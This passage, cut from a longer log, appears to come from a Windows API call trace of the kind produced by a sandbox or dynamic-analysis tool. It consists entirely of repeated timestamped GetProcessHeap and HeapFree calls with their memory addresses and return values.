lpMem=0x2beae0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c11e0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beaf0 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bef10 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb00 | out: hHeap=0x2a0000) returned 1 [0127.109] GetProcessHeap () returned 0x2a0000 [0127.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1230 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb10 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bef30 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb20 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c12a8 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb30 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb40 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c12d0 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb50 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bef50 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb60 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c12f8 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb70 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bef70 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb80 | out: hHeap=0x2a0000) returned 1 [0127.110] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bef90 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beb90 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4718 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beba0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4ac0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bebb0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c19a8 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bebc0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c80a8 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bebd0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2befb0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bebe0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1320 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bebf0 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c80d8 | out: hHeap=0x2a0000) returned 1 [0127.111] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bec00 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1348 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bec10 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1370 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bec20 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4a88 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88a8 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8108 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88b8 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8138 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88c8 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4a50 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88d8 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2befd0 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88e8 | out: hHeap=0x2a0000) returned 1 [0127.112] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8168 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c88f8 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2beff0 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8908 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8918 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1398 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8928 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4a18 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8938 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8198 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8948 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c49e0 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8958 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c13c0 | out: hHeap=0x2a0000) returned 1 [0127.113] GetProcessHeap () returned 0x2a0000 [0127.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8968 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdc40 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8978 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c49a8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8988 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4c80 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8998 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c13e8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89a8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf010 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89b8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf030 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89c8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4c48 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89d8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c81c8 | out: hHeap=0x2a0000) returned 1 [0127.114] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89e8 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c6260 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c89f8 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c81f8 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a08 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8228 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a18 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8258 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a28 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1410 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a38 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1438 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a48 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1460 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a58 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c62a0 | out: hHeap=0x2a0000) returned 1 [0127.115] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a68 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf050 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a78 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1488 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a88 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c14b0 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8a98 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c14d8 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8aa8 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1500 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ab8 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8288 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ac8 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4c10 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ad8 | out: hHeap=0x2a0000) returned 1 [0127.116] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c82b8 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ae8 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1528 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8af8 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4bd8 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b08 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4ba0 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b18 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c62e0 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b28 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1550 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b38 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1578 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b48 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf070 | out: hHeap=0x2a0000) returned 1 [0127.117] GetProcessHeap () returned 0x2a0000 [0127.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b58 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf090 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b68 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c15a0 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b78 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd48 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b88 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c15c8 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8b98 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf0b0 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8ba8 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c15f0 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8bb8 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b68 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8bc8 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c6320 | out: hHeap=0x2a0000) returned 1 [0127.118] GetProcessHeap () returned 0x2a0000 [0127.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8bd8 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8be8 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8bf8 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf0d0 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c08 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c18 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c82e8 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c28 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd60 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c38 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf0f0 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c8c48 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.119] GetProcessHeap () returned 0x2a0000 [0127.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 